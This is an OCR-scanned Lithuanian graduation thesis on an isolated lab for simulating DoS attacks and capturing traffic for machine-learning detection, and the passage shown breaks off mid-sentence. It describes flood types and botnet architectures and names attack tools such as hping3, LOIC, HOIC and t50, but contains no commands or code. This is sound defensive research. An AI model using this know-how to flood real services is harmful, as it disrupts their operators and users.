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SANTRAUKA

Autorius Tadas Paulauskas. Simuliaciné aplinka DoS ataky tyrimams. Baigiamasis darbas.
Vadovas Paulius Baltru$aitis. Kauno kolegija, Technologijy fakultetas, Informatikos ir medijy
technologijy katedra. Kaunas, 2024, 49 psl.
ReikSminiai zodziai: tinkly naudojimas, srauto generavimas, srauto analiz¢, grésmiy identifikavimas.
Spartéjantis zmonijos naudojimasis informacinémis technologijomis suteikia vis daugiau
budy pakenkti norintiems asmenims, vienas i$ tokiy biidy yra DoS atakos kurios gali sulétinti arba i§
viso sustabdyti jrenginiy veikima, sukeldamos skaudziy finansiniy pasekmiy. D¢l Sios priezasties $i
tema yra labai svarbi, norint geriau suprasti skirtingas DoS atakas, identifikuoti jy veikimo principus
ir stebéti kaip atakos metu kinta pakety srautas. Baigiamojo darbo problema — kiekvienais metais
pasaulyje daugéja atliekamy DoS ataky kiekis, dél to yra svarbu, kad $ios atakos bty istirtos ir bity
surinkti duomenys kurie yra reikalingi masininiam mokymuisi. Baigiamojo darbo tikslas —
simuliacinés aplinkos sukiirimas DoS ataky duomeny generavimui ir analizei. Tai yra svarbu, nes
surinkus tinkama kieki duomeny i§ iSanalizuoty ataky galima apmokyti jrenginius masininio
mokymosi pagalba ir uzkirsti kelig DoS ataky nutikimui. Darbe bus panaudoti skirtingi jrankiai atlikti
Sioms atakoms, analizuojamas tinklo srautas stebint ataky poveikj serveriui, renkami duomenys kurie
gali buti panaudoti masininiam mokymuisi tam, kad bty lengviau identifikuojamos DoS atakos ir

joms greiciau uzkirstas kelias.



SUMMARY

Author Tadas Paulauskas. Simulation Environment for DoS Attacks Research.
Graduation Thesis. Manager Paulius Baltrusaitis. Kaunas College, Faculty of Technologies,
Department of Informatics and Media Technologies. Kaunas, 2024, 49 pages.

Keywords: Network usage, active reconnaissance, traffic generation, traffic analysis.

Humanity's ever-expanding use of information technology provides an ever-increasing
variety of threats to those who wish to do harm, one of which is DoS attacks, which can slow down
or completely stop devices, causing dire financial and other consequences. For this reason, this topic
Is very important to better understand DoS attacks, to identify their operating principles, to observe
how the packet flow changes during the attack. The problem of the thesis - every year the number of
DosS attacks in the world increases, which is why it is important to collect data from these attacks for
machine learning. The aim of the thesis is the creation of a simulation environment for the generation
and analysis of DoS attack data. This is important because by collecting the right amount from the
analysed attacks, it is possible to train devices with the help of machine learning and prevent the
occurrence of DoS attacks. The work will use different tools to carry out these attacks, analyse
network traffic by monitoring the impact of attacks on the server, collect data that can be used for

machine learning to help identify DoS attacks and prevent them faster.



IVADAS

Sparciai didéjantis internetiniy paslaugy naudojimas, kelia vis daugiau grésmiy, kadangi tai
suteikia daugiau galimybiy ir naujy metody jsilauzéliams, kurie atrad¢ vienokj ar kitokij
pazeidZziamumg ir nori jj iSnaudoti savo piktavaliskiems ketinimams. Vienas i§ tokiy bady yra DoS
atakos, kurios per trumpa laikg gali sugadinti esamas interneto paslaugas. DoS ataka jvykdoma kai j
vartotojo kompiuterj yra pasiunciami labai dideli kiekiai pakety, kurie uzkraung serverj ir neleidzia
jam tinkamai veikti. Didzioji dalis DoS ataky yra paleidziamos i§ — Kinijos, Amerikos, Kor¢jos,
Rusijos ir Indijos. DoS atakos gali biti pavojingos ir sutrikdyti ligoniniy darbg, taip pat gali sukelti
finansiniy nuostoliy, nes serverio arba svetainés savininkai gali netekti pajamy dél svetainés
nepasiekiamumo.

DoS atakos gali sukelti rimty nemalonumy, turéti rimty pasekmiy naudotojams ir interneto
svetainéms. D¢l to yra svarbu imtis priemoniy tam, kad apsisaugoti nuo $iy ataky ir Zinoti kaip
reaguoti jeigu svetainé tampa DoS ataky auka. Kibernetiniy pazeidimy generavimas yra svarbus tam,
kad biity galima pritaikyti masininio mokymosi metodus ir taip patobulinti pazeidimy identifikavimo
Ir prevencijos sistemas.

Darbo problema — nuolat did¢jantis internetiniy paslaugy naudojimas sukelia vis daugiau
spragy ir grésmiy, kuriomis gali pasinaudoti kenkéjisSkai nusiteike asmenys ar grupuotés. Viena i§
tokiy problemy bttty DoS atakos kuriomis pasinaudoje¢ jsilauzéliai gali sukelti gausybe problemy tiek
pavieniams interneto naudotojams, tiek dideléms organizacijoms. Siuo metu dar triiksta kibernetiniy
pazeidimy duomeny, kad buty galima pritaikyti masininj mokymasi efektyvesniam pazeidimy
generavimui ir jy prevencijai.

Darbo objektas — DoS ataky simuliacija.

Darbo tikslas — simuliacinés aplinkos sukiirimas DoS ataky duomeny generavimui ir
analizei.

Darbo uZdaviniai:

1. ISanalizuoti DoS ataky procesus ir naudojamas priemones, Sukurti simuliacing
aplinkg, jvertinti virtualiy aplinky galimybes, §iuos procesus simuliuoti ir rinkti
duomenis.

2. Isbandyti skirtingas DoS atakas.

3. Istirti DoS ataky poveikj, naudojant Tshark ir WireShark.

4. Suprojektuoti simuliacing platformg DoS ataky simuliavimui ir duomeny srauto
fiksavimui.

5. Platforma iSbandyti atliekant DoS ataky simuliacijas.



1. ANALITINE DALIS

Sioje dalyje bus apzvelgiamos DoS ir DDoS atakos, jy architektiiros ir skirtumai, apzvelgtos
skirtingos DDoS atakos ir jy bruozai, kaip jos vykdomos bei kokios yra to pasekmés. Apzvelgti
skirtingi jrankiai Kuriais yra atliekamos $ios atakos. Taip pat apzvelgiami tinklo stebéjimo bei
duomeny rinkimo jrankiai, Kali Linux operacinés sistemos apzvelgimas.

DDoS ir DoS atakos yra labai panaSios tarpusavi, kadangi jy tikslas yra sutrikdyti paslaugos
ar jrangos veikima. Pagrindinis skirtumas tarp $iy ataky yra tai, kad DoS atakai yra naudojamas vienas

IP adresas i8 kurio yra vykdoma ataka, 0 DDoS atakos metu yra atakuojama i$ skirtingy IP adresy.

1.1. DoS ir DDoS atakos

DosS tai kibernetiné ataka kurios metu kenkéjiskai nusiteikes asmuo ar grupuoté nusitaiko j
aukos kompiuterj, serverj ar kitus resursus sickdamas sutrikdyti jo veiklg. Pavyzdziui: atakuotojas
nusprendzia sutrikdyti paslaugy teikéjo paslaugas, sickdamas sutrikdyti arba visai iSjungti Sias
paslaugas. Ko pasékoje jprastiems vartotojams gali sutrikti interneto rySys. DoS atakos veikimo
principas yra toks: atakuotojas iSsirenka protokola kurj keting panaudoti $iai atakai, tuomet pradeda
generuoti didelj srautg duomeny i$ savo IP adreso. Taip pat gali pasitelkti netikrais IP adresais.
Galiausiai sistema nebesugeba susitvarkyti su dideliu pakety kiekiu ir prastéja jos veikimas. Apie Sias
atakas raSomame straipsnyje (Huseinovic, Mrdovic, Bicakci, Uludag, 2020) teigiama, kad Siais
laikais viena i$ didziausiy problemy su kuriomis susiduria paslaugy teikéjai yra DoS atakos kurios
pasak ,NETSCOUT Arbor’s 13th Annual Worldwide Infrastructure Security Report™ saugumo
ataskaitoje teigiama, kad 87 % faktiniy grésmiy su kuriomis susiduria paslaugy teikéjai yra DoS
atakos.

DDOS atakos metu daug atakuojanéiy jrenginiy siuncia paketus j vieng serveri arba tinkla,
Sia ataka yra siekiama sutrikdyti jprasta jy veikima. Sios atakos negaléty jvykti be botnetu, kuriuos
sudaro prie interneto prijungti prietaisai tokie kaip asmeniniai kompiuteriai, daikty interneto
jrenginiai, kurie buvo uzkrésti kenkéjiska programine jranga ir gali biiti valdomi nuotoliniu badu.
DaZniausiai uzkrésty jrenginiy savininkai net nejtaria, kad jy jrenginiai yra uzkrésti ir prijungti prie
botneto. Kai botnetas sukuriamas, atakuotojas gali kontroliuoti atakas ir siysti komandas j kiekviena
uzkréstg jrenginj, kurie tuomet siuncia didelius kiekius duomeny pakety j atakuojamus serverius ar
tinklus, kurie Siuos paketus mato kaip jprastag komunikacijg su vartotojais. Kadangi uzkrésti
kompiuteriai ar kiti jrenginiai yra tikri, nes jie yra naudojami botnete, todél yra sunku aptikti DDOS

atakas. Jy architektiira yra skirstoma j dvi raisis — centralizuotos ir decentralizuotos. Siy ataky



architekttira iSanalizuota straipsnyje ,,A Low-Cost Distributed Denial-of-Service Attack Architecture
2020

1.1.1. DoS ataky architektiura

DoS ataky architekttira yra ganétinai paprasta, kadangi Sios atakos atliekamos i§ vieno

kompiuterio. DoS ataky architektiira pavaizduota: 1.1 pav. paveiksle.

Atakuotojas Auka

1.1 pav. DoS ataky architektira

Atakai reikalingas aukos IP adresas kuriuo pasinaudojes atakuotojas gali pradéti leisti

didziulius kiekius pakety, kurie apkraudami aukos resursus gali sutrikdyti jos veikima.

1.1.2. Centralizuoty DDoS ataky architektira

Centralizuotos DDOS atakos architektiiroje néra tarpusavio bendravimo tarp uzkrésty
jrenginiy, vietoje to visi jrenginiai yra prijungti prie (C&C) sistemos kuria naudojasi atakuotojas tam,
kad galéty valdyti esantj botnetq, tiesiogiai siysdamas komandas kiekvienam jrenginiui. Pavaizduota
1.2 pav. Paveiksle.

Atakuotojas

Cc&C

v v v v

| Botas | | Botas | | Botas | | Botas || Botas |

Serveris

1.2 pav. Centralizuota DDoS ataky architektira

Centralizuotos DDOS atakos privalumai yra tai, kad atakuotojas gali realiu laiku valdyti
esancius uzkréstus jrenginius (botus) ir apgalvoti savo strategija kaip jis elgsis toliau. Taipogi tarp
jrenginiy néra tiesioginio ry$io (juos sunkiau yra aptikti) tai padaro patj botnetq saugesniu. Sios
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architekttiros minusas — didéjant botneto dydziui kyla ir jo iSlaikymo kaina. Sutrikus C&C sistemai

gali suzlugti visas botnetas, dél Sios priezasties ir atsirado decentralizuota DDOS ataky architektira.

1.1.3. Decentralizuota DDoS ataky architektiira

Decentralizuota DDOS ataky architektiira skiriasi nuo centralizuotos tuo, kad centralizuotoje
architektiiroje atakuotojas duoda komandas kiekvienam esan¢iam jrenginiui atskirai per C&C
sistemg, 0 decentralizuotoje architektiiroje jrenginiai esantys botnete sukuria P2P jungtj, kurioje gali
perduoti informacijg vieni kitiems. D¢l to atakuotojui nereikia C&C sistemos, kad duoty visiems
esantiems jrenginiams komandas. Uztenka tik vieno jrenginio kuriam perduodamos komandos, 0 Jis
jas perduoda kitiems jrenginiams P2P jungtimi dél Siy priezas¢iy decentralizuota ataky architekttira

yra patvaresné ir tapo labai populiari, ypatingai turint didelius botnetus.

Atakuotojas

iy

Serveris

1.3 pav. Decentralizuota DDoS ataky architektiira
Decentralizuota ataky architektiira pavaizduota 1.3 pav. Paveiksle yra Zymiai patvaresné uz
centralizuota, taciau ji lengviau aptinkama dél P2P jungties tarp jrenginiy ir uztrunka laiko nuo

komandos paskyrimo iki jos jvykdymo.
1.2. DoS ir DDoS ataky riisys, naudojami jrankiai
Atliekamos atakos DoS ir DDoS yra beveik identiskos. Isskyrus tuo, kad DDoS atakoms yra

naudojamas didelis kiekis uzkrésty prietaisy kurie sukuria botnetg to pasékoje DDoS atakos yra
11



galingesnés uz DoS atakas ir sunkiau aptinkamos, kadangi DoS atakos metu paketai siun¢iami i$
vieno IP adreso i $j adresa, galima jas lengvai identifikuoti ir uzblokuoti, o DD0S atakos metu yra
pasitelkiamas didelis kiekis skirtingy IP adresy kurie gali buti i skirtingy pasaulio Saliy. D¢l to yra
sudétinga $ig ataka identifikuoti ir uzkirsti jai kelig. Keletas DDoS ir DoS ataky:

UDP Uztvindymas — Sios atakos metu atakuotojas naudojasi UDP protokolu, kad atlikty
ataka. Si ataka yra atlickama siun¢iant didelius kiekius UDP pakety. I3tirta (Dong, Sarem, 2019)

ICMP Uztvindymas — ICMP uztvindymo ataka, dar vadinama ping uztvindymo ataka
nutinka, kai atakuotojas siuncia milziniSkus kiekius ICMP pakety j aukos serverj tam, kad iSeikvoty
visa esamg bandwidth (pralaidumo juostg) to pasékoje sutrikdydama susisiekima kitiems vartotojams
susisiekti su serveriu. Istirta (Abbas, Jain 2019)

TCP ACK - Sios atakos metu atakuotojas siekia i§naudoti TCP protokolo pazeidziamuma.
Taip pat atakuotojas siun¢ia TCP ACK paketus i§ netikry IP adresy, Sie paketai apsimeta, kad
patvirtina neegzistuojancius rysius, perpildydami serverio iSteklius kai jis bando apdoroti klaidingy
patvirtinimy antpliid;.

TCP SYN — Sios atakos metu atakuotojas naudojasi TCP prokolu ir i§siundia i§ netikry IP
adresy netikras TCP SYN uzklausas. Aukos serveris laukia kol gaus TCP ACK pranesSima, kad galéty
pradéti bendravima tarpusavj, tatiau jo taip ir nesulaukia. Sios atakos metu yra uzkraunami
puolamojo serverio resursai iki kol jis nebegali susitvarkyti su jais, dél to serveris tampa
nebepasiekiamas kitiems vartotojams. Ataka istirta (Gupta, Dahiya, 2020)

TCP RST - Sios atakos metu atakuotojas siun¢ia TCP paketus su RST véliavélémis,
atakuojamojo serveris mano, kad tai yra jprasti paketai ir nutraukia atitinkamus TCP rySius. Dél to
sutrinka jprasta veikla, nes vykstandios sesijos uzdaromos anks¢iau laiko. Sios atakos poveikis gali
sutrikdyti arba visiskai sustabdyti serverio paslaugas, ko pasékoje jprastiems vartotojams serveris gali
tapti nebepasiekiamas.

Jeigu S$ios atakos atlickamos sékmingai, priklausomai nuo to kas yra atakuojama, jos gali
sukelti skaudZziy pasékmiy, kadangi gali biti taikomasi j kritinés infrastrukttiros veikla, tokios kaip
ligoninés kuriose esantis daktarai nebepasiekty svarbios informacijos apie pacientus, dél to negaléty
skirti tinkamo gydimo. Istirta (Goldschmidt, 2019)

1.2.1. Ataky palyginimas
IS auks$c¢iau analizuotu ataky, sukurta lentele kurioje yra apraSomi Siy ataky skirtumai

skirtingi naudojami protokolai, ir skirtingas ataky veikimo principas.
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1 lentelé. Ataky palyginimas

Pavadinimas Protokolas Veikimas

TCP SYN uztvindymas TCP Uzkraunami puolamojo serverio
resursai iki kol jis nebegali
susitvarkyti su jais to pasékoje
serveris tampa nebepasiekiamas
TCP ACK uztvindymas TCP Atakuotojas apsimeta, kad patvirtina
neagituojancius rySius ko pasékoje
yra sutrikdomas serverio darbas

TCP RST uZtvindymas TCP Sios atakos poveikis gali sutrikdyti
arba visiskai sustabdyti serverio
paslaugas
ICMP uztvindymas ICMP ISeikvoja visg esama pralaidumo

juostg dél to yra sutrikdomas
susisiekimas Kitiems vartotojams
susisiekti su serveriu
UDP uztvindymas UDP Serveriui siun¢iamas didelis kiekis
UDP pakety, kurie gali sustabdyti jo
veikimag

Apzvelgus Sias atakas pastebéta, kad dazniausiai naudojamas protokolas yra TCP dél to, nes
TCP protokolo véeliavélés turi pazeidziamumy kuriomis pasinaudoja atakuotojas. Ataky veikimas yra
tarpusav] labai panasus, nes jy visy tikslas yra tas pats sutrikdyti arba visai sustabdyti aukos serverij,

kad jis tapty nebepasiekiamas kitiems vartotojams

1.2.2. DoS ir DDoS ataky jrankiai

Daugumg $iy ataky jrankiy galima pritaikyti tiek vienai tiek kitai atakai, bet yra ir tokiy kurie
specifiskai priklauso DoS ar DDoS atakoms.

Hping3

Tipas — DDoS ir DoS

Galimos atakos — TCP RST, UDP, TCP SYN, TCP ACK, ICMP, Smurf, uztvindymai.
Sis jrankis buvo sukurtas kaip apsaugos jrankis ir naudojamas, kaip tinklo testavimo jrankis, tik véliau
jis tapo naudojamas DoS ir DDoS atakoms atlikti. Jrankis panaudotas (Pulipati, Krishna 2020)

GoldenEye

Tipas — DoS

Galimos atakos — HTTP, HTTPS, TCP, UDP, uztvindymai .
GoldenEye — jrankis sukurtas naudojantis python programine kalba. Sis jrankis i$skirtinis tuo, kad
atakos metu jis sugeba likti nepastebétas ugniasieniy, dél Sios priezasties jis yra naudojamas saugumo
specialisty, kurie nori iSbandyti savo gynybos efektyvumg nuo realiy grésmiy.

LOIC
Tipas — DDoS ir DoS
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Galimos atakos — TCP, UDP, HTTP, uztvindymai.

LOIC — jrankis sukurtas naudojantis C# programine kalba. Siysdamas labai didelius kiekius
pakety apkrauna serverj ir $is nebegali atskirti jprasty vartotojy kuriamo tinklo srauto. rankis buvo
naudojamas (Adeyemo, Ganiyu, 2019)

HOIC

Tipas — DDOS

Galimos atakos — HTTP GET ir POST uztvindymai

HOIC jrankis yra LOIC jrankio naujesné versija. Sio jrankio i§skirtinumas yra tas, kad jis
gali vienu metu taikytis net j 256 skirtingus interneto adresus, dél to jis yra naudingas atliekant plataus
masto DDOS atakas. Jrankis naudotas ( Djanie, Dzisi, Tutu, 2019)

t50

Tipas — DDOS ir DoS

Galimos atakos — TCP SYN, UDP, ICMP, HTTP, uztvindymai.

T50 jrankis zinomas kaip greiCiausiai generuojantis paketus jrankis, jis gali atlikti maiSytas atakas.
Jis gali vienu metu paleisti tek UDP uztvindymo, tiek ICMP uztvindymo atakas.

Daugumg jrankiy galima pritaikyti tiek DDoS tiek DoS atakoms, nes Sios atakos yra labai
panagios tarpusavj ir patys ataky jrankiai yra tarpusavj panasiis, nes atlieka panasias funkcijas. Siy
ataky tikslas yra uztvindyti atakuojamojo resursus, kad jie pradéty strigti ar tapty galiausiai i§vis
nebepasiekiami.

1.2.3. Dos ir DDoS ataky stebéjimo jrankiai

Ataky steb¢jimo jrankiai yra svarbus aspektas atakuotojui pasizitiréti kaip veikia atliekama
ataka ar ji veiksminga, ar serveris pilnai susitvarko su siun¢iamomis uzklausomis. O aukai tai yra
puiki galimybé realiu laiku pastebéti vykstancig ataka.

Wireshark — yra atvirojo kodo tinklo protokoly analizatorius kuris suteikia galimybe realiu
laiku stebéti tinklo srautg, kuris vyksta realiu laiku ir suteikia galimybe iSanalizuoti kiekvieng paketa
atskirai analizei bei suteikia galimybg iSanalizuoti kiekvieng protokolg esantj sraute. Taipogi suteikia
galimybe filtruoti pakety srautg ir iSskirti reikalingg informacijg. Wireshark jrankis yra placiai
naudojamas mokymosi institucijose, jvairiuose jmonése ir asmeny kurie domisi tinklo sauga.
WireShark istirtas (Iqbal, Naaz,2019)

Tshark — yra labai panasus jrankis j Wireshark tik, kad Tshark skirtas naudoti komanding
eilutg. Tinklo administratoriai naudoja Tshark tam, kad galéty stebéti tinklo srautg realiu laiku ir

padeda jzvelgti kokias nors atsiradusias anomalijas. Tshark gali bati pritaikytas automatiskai atlikti
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tinklo stebé&jimus skirtingais intervalais, stebéti tik specifinj srautg ir generuoti praneSimus atsiradus
anomalijoms.

Scapy — yra galingas jrankis naudojantis python programine kalba. Tinklo administratoriai
naudoja §j jrankj norint stebéti tinklo srautg ir sprendziant problemas tokias kaip pakety praradimus.
Scapy jrankis naudojamas testuojant tinklg, nes jis gali kurti paketus kurie imituoja atakas, dé¢l Sios

priezasties saugumo profesionalai gali atlikti testus su $ia programa tikrinant savo tinklo sauguma.

1.2.4. Duomeny surinkimo jrankiai

Dos ir DDoS ataky duomenys yra labai svarbus aspektas jy supratimui, tai padeda saugumo
specialistams suprasti kaip prasidéjo ataka, koks yra atakos braizas, kiek laiko truko ataka, Siuos
duomenis iSanalizavus galima kurti naujas apsisaugojimo priemones kurios veikty efektyviau. Tam
ir yra skirtos tokios programos kurios padeda saugumo specialistams surinkti esamus ataky duomentis.

Wireshark — yra skirtas duomeny stebéjimui, bet gali bati pritaikytas ir jy surinkimui. Jis
renka duomenis naudodamasis Pcap kuris yra failo formatas, kuriame yra saugojami duomenys kurie
yra surinkti su wireshark. Surinkus duomenis galima stebéti jy struktiirg, jvairius protokolus ir stebéti
zinutes Kurios ateina kartu su protokolais.

Tshark — rinkti duomenys naudojasi komandine eilute kurioje yra surasoma visa informacija
kuri reikalinga duomeny surinkimui. Tshark jrankis suteikia galimybeg i$sifiltruoti norimus surinkti
duomenis ir juos jraso j CSV failo formata.

Scapy — pasitelkdamas python programavimo kalba, geba rinkti jvairius duomenis, juos

filtruoti ir nustatyti renkamy duomeny limitus.

1.3. Kali linux operaciné sistema

Kali Linux operaciné sistema yra sukurta Debian pagrindu ir skirta jsilauzimy testavimui,
etiskiems jsilauzéliams. Taciau $ia operacine sistema gali naudotis ir piktavalisky ketinimy turintis
asmenys ar grupuotés. Kali Linux turi jrasytus kelis Simtus skirtingy jrankiy, Kurie yra skirti
didesniam kiekiui jvairiy saugumo testavimo darby. Isilauzimy testavimui, saugumo patikrinimams,
atvirkstinei inzinerijai. Kali Linux esantis jrankiai yra labai jvairus juos galima skirstiti j skirtingas
kategorijas. Kali Linux istirta (Cisar, Pinter, 2019)

Kali Linux jrankiy kategorijos

e Informacijos rinkimo jrankiai;
e Pazeidziamumo analizés jrankiai,
e Belaidziy ataky jrankiai;
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e Eksploatavimo jrankiai;

e Forensics (kriminalistiniai) jrankiai;
e Streso testavimo jrankiai;

e Klaidinimo jrankiai;

e Slaptazodziy atakavimo jrankiai;

1.4. Gns3 simuliaciné aplinka

GNS3 yra tinklo modeliavimo jrankis suteikiantis galimybe sukurti virtualy tinkla norintiems
asmenims ar tai biity inzinieriai, studentai, tinklo administratoriai. GNS3 leidzia iSbandyti jvairias
tinklo konfigiracijas ir scenarijus. Si programa iSsiskiria savo lankstumu, galia ir palaikomy
technologijy jvairove. GNS3 Zavi tuo, kad nereikia naudoti realiy fiziniy prietaisy norint atlikti jvarius
bandymus, o galima jsikelti virtualias masinas, komutatorius, marSrutizatorius, ir kitg reikalinga
jrangg tinklo bandymams. Pavyzdziui norint atlikti ataky bandymus galima jsikelti j Kali Linux
virtualia masing, serverj prie§ kurj bus naudojamos atakos, komutatorius, marsrutizatorius, kad
atspindétu realy tinkla, atliekant Siuos bandymus néra padaroma Zala asmeniniam kompiuteriui tai
reiskia, kad atlikti GNS3 bandymai lieka jos viduje. Pats GNS3 suteikia jvairiy jau jrasyty jrankiy.
Vienas i§ tokiy buty wireshark su kuriuo galima atlikti tinklo analize ir stebéti pakety srautus ataky
metu. GNS3 istirtas (Goligthly, Modesti, Chang, 2023)

1.5. Analitines dalies iSvados

Atlikus literatiiros analize buvo apzvelgtos DoS, DD0S atakos jy panasumai ir skirtumai,
skirtingos ataky arhitektiiros. Taip pat buvo apzvelgti skirtingi ataky tipai, jy veikimo principai,
kokios $iy ataky pasekmés, skirtingi galimi ataky jrankiai, jy skirtumai, ataky stebéjimo jrankiai kurie
padeda stebéti atakg realiu laiku, ataky duomeny rinkimo jrankiai kurie padeda surinkti duomenis
atakos metu. Apzvelgta Kali Linux operaciné sistema, jos naudojimas ir jrankiai. GNS3 simuliaciné

aplinka ir galimas jos naudojimas.
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2. SPECIFIKACIJA

Specifikacijos dalyje bus apzvelgiama koks tai bus projektuojamas objektas, ir kiti suséja
su projekty dalykai.

Projektuojamas objektas — Siame darbe yra kuriamas tinklas kuriame biity paprasta atlikti
skirtingas DoS atakas, atlikti prievady skenavimus, stebéti bei analizuoti duomeny srautg vykstanti
atakos metu, Sias atakas yra svarbu analizuoti, kad biity galima ateityje apie jie jas daugiau zinoti ir
uzkirsti joms kelia.

Projektuojamo objekto paskirtis — Saugi aplinka kurioje biity galima atlikti skirtingas DoS
atakas jas analizuoti stebéti jas duomeny rinkimo ir duomeny stebéjimo jrankiais.

Projektuojamojo objekto funkcijos:

e Atviry prievady skenavimas pasitelkus Kali Linux instaliuoty nmap, kad suzinoti
atvirus prievadus galimoms atakoms

e Skirtingu ataky atlikimas naudojant Kali Linux.

e Sukurtas serveris su atidarytais prievadais pries kurj bus galima atlikti atakas.

e Duomeny steb¢jimui ir rinkimui pasitelktos programos tokios kaip Tshark ir

Wireshark kurios padés realiy laiky stebéti ataky poveikj atakuojamajam serveriui.

2.1. Reikalavimai projektuojamojo objekto posistemei

Toliau bus kalbama apie tai kokie bus reikalavimai reikalingi objekto posistemei.

2.1.1. Reikalavimai aparatiiros posistemei

Atliekant DoS atakas reikalingas kompiuteris kuris atitikty auksto naSumo standartus kad
biity uZtikrintas efektyvus ir stabilus ataky atlikimas ir jy analizé aparatiiros posistemé turi apimti
Stuos elementus:

e Interneto rySys — Simuliacinei aplinkai yra reikalingas interneto rysys kuris reikalingas
parsisiysti norimoms programos ir atlikti tam tikroms atakoms.

e (Galingas procesorius - kuris reikalingas kurti ataky srauta, procesorius turi uztikrinti,
kad biity sukuriamas reikiamas ataky srautas, tai pat procesorius yra svarbus ir dél srauto apdorojimo
ir analizés kur gauti ar i§siusti duomenys turi biitj greitai ir efektyviai apdorojami.

e  Operatyvioji atmintis — tai yra vienas svarbiausiu komponenty atlickant DoS atakas ne
yra naudojamos virtualios masinos kurioms yra reikalinga operatyvioji atmintis jos pakankamai
neturint negalima sukurti pakankamai virtualiy masiny, to pasékoje gali nepavykti atlikti Siy ataky.

Yra svarbu, kad viskas biity sukonfigiiruota taip, kad naudoty kuo maziau sistemos resursy

ir buty galima atlikti be kokiy nors nesklandumy.
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2.1.2. Reikalavimai informacijos posistemei

Informacijos posistemei yra reikalinga, kad duomenys biity visada pasiekiami dél to reikia
kurti automatines kopijas, kad jeigu ir kas nutikty viskas nebiity prarasta, o biity galima atkurti
automatines kopijas taip pat yra svarbu uztikrinti duomeny prieinamumg, vientisumag ir
konfidencialuma.

2.1.3. Reikalavimai naudotojo sasajai

Naudotojo sgsaja turéty bati lengvai suprantama, kad visus reikalingus darbus su virtualia
aplinka biity padaryti kuo lengviau, dél to ji turi biiti lengvai naudojama. Net ir neturédamas techniniy
Ziniy vartotojas turéty lengvai suprasti kaip naudotis simuliacine aplinka, kaip atlikti skirtingas atakas
kaip konfigiiruoti komanding eilute, kaip naudotis skirtingais ataky jrankiais. Naudotojas turi gebéti
pazvelges lengvai suprasti kaip stebéti duomeny srautg pasitelkus WireShark, kaip pasirinkti
skirtingus filtrus i§sirenkant norimg informacija, kaip su Tshark komandine eilute issifiltruoti norimus
duomenys j .csv formata.

2.2. Reikalavimai saugumui

Kadangi kuriama simuliaciné aplinka yra skirta atakoms, dél to turéty prie aplinkos turéti
prieiga tik patvirtinti vartotojai, nes kitokiu atveju tai gali padéti kenkéjiskai nusiteikusiems asmenims

Duomeny atsarginiy kopijy kiirimas yra butinas, nes nutikus kokiems nors trikdziams ar
sistemos gedimui pradingty duomenys ir juos biity galima atkurti i§ naujo.

Yra bitina uztikrinti duomeny vientisumg, prieinamuma ir konfidencialumg tam, kad
vartotojas galéty pasiekti visus duomenis kuriy jam reikia, o kenkéjiskai nusiteikes asmuo negaléty
1Svysti nieko.

AtidZiai rinktis naudojamas programas, kad jos nebiity uzkréstos kokia nors programine

jranga kuri galéty pazeisti vartotojo kompiuterj.

2.2.1. Reikalavimai realizacijai
Realizacijai reikalinga tinkama virtualiy masiny konfigtracija, kad jas biity galima
sukonfigiiruoti kuo optimaliau, kad naudoti kuo maziau kompiuterio resursy. Reikalingas ganétinai
stiprus fizinis kompiuteris kuriame ir bus naudojama virtuali aplinka. Reikalingas kompiuteris su
nemazu RAM (atminties) kiekiu nes virtualioms masinoms yra reikalingi apie 2GB atminties tam,
kad veikty normaliai be jokiy trikdziy. Procesoriumi kuris atlikty visas norimas operacijas be jokiy
nesklandumy ar trikdziy. Ataky srauto generavimas turi biiti stebimas realiu laiku be jokiy

nesklandumy.
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3. PROJEKTINE DALIS

Sioje dalyje aprafomas sistemos parengimas, topologijos sukdrimas, reikalavimai
aparatiirai, virtualios aplinkos jdiegimas, topologijos sukarimas, Ubuntu programos ir Kali Linux
programos

3.1. Sistemos parengimas

Numatoma tinklo architektiira kurig sudarys — Vmware, GNS3, Kali Linux, Internetas,

WireShark, Tshark, komtatorius, Ubuntu, duomeny saugykla.

WMware

GNS3 .
Stebéjimui

WireShark

—

komutatorius

A

Kali Linux Ubuntu

Duomeny
saugykla

Duomeny rinkimas .csv

3.1 pav. Sistemos architektiira

Sistemos architektiira susideda 1§ GNS3 kuris bus naudojamas tinklo infrastruktiiros
emuliacijai kuri suteikia didelj kiekj skirtingy tinklo jrenginiy, tokiy kaip marSrutizatoriai, jungikliai
ir kiti tinklo jrenginiai. Tada bus naudojamas dar ir VMware kuris naudojamas virtualiy serveriy ir
aplikacijy aplinkai kurti. Tai yra svarbu atliekant DoS atakas, nes yra ganétinai paprasta pasirinkti
norimus tinklo jrenginius ir jsidéti reikiamas masinas kurios yra skirtos naudoti tinklo stebéjimo
jrankiais. Naudojant Sias dvi programas yra suteikiama galimybé ganétinai paprastai imituoti
skirtingus ataky tipus. Sujungus Sias dvi programas toliau bus jraSomi reikalingi komponentai
simuliacijoms jvykti ir tada atlickamos DoS ataky simuliacijos.

1. Integracija — Sujungus GNS3 ir VMware galima sukurti realistiska aplinka atakoms
vykdyti, nes GNS3 suteikia daugybe skirtingy tinklo prietaisy, 0 VMware suteikia

virtualizacijg skirtingoms virtualioms masinoms.
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2. Efektyvumas — Kadangi naudojant VMware yra suteikiama galimybé paskirsti
resursus kiekvienai virtualiai masinai kaip to nori vartotojas, dé¢l Sios priezasties
galima efektyviai valdyti esamus fizinio kompiuterio resursus.

3. lzoliacija — Naudojant GNS3 ir WMware saugioje aplinkoje ir nutaikant atakas tik
prie§ virtualiame tinkle esancius jrenginius galima saugiai atlikti skirtingus

bandymus nesukeliant jokios grésmés iSoriniams jrenginiams.

3.1.1. Simuliacinio tinklo topologijos sukiirimas

Isidiegus ir sujungus GNS3 ir WMware galima pradéti kurti tinklo topologija. Pirmiausia
reikéty panaudoti turimus GNS3 resursus, tokius kaip marSrutizatoriai ar kiti tinklo jrenginiai kurie
yra reikalingi tinklo topologijai, tada jsikelti norimas virtualias masinas i§ WMware ir jas pradéti
jungti j tinklg, sujungus viska kabeliais galima pradéti testuoti jy jungimasi tarpusavj. Testuoti ar
jrenginiai yra pasiekiami vieni kitiems tinkle, pavyzdziui tokiomis komandomis kaip ping. Gavus
atsakus i$ virtualiy masiny esanciy tinkle galima daryti i§vada, kad topologija yra veikianti ir galima
toliau bandyti atlikti skirtingas atakas Siame sukurtame tinkle. Tinkle bus panaudoti tinklo jrenginiai
ir virtualios masinos kaip:

e Kali Linux (virtuali masina)
e Ubuntu (virtuali masina)

o Komutatoriai

e Interneto prieigos taSkai

Tinkamai sujungus visus auks$¢iau paminétus jrenginius bus galima pradéti simuliuoti
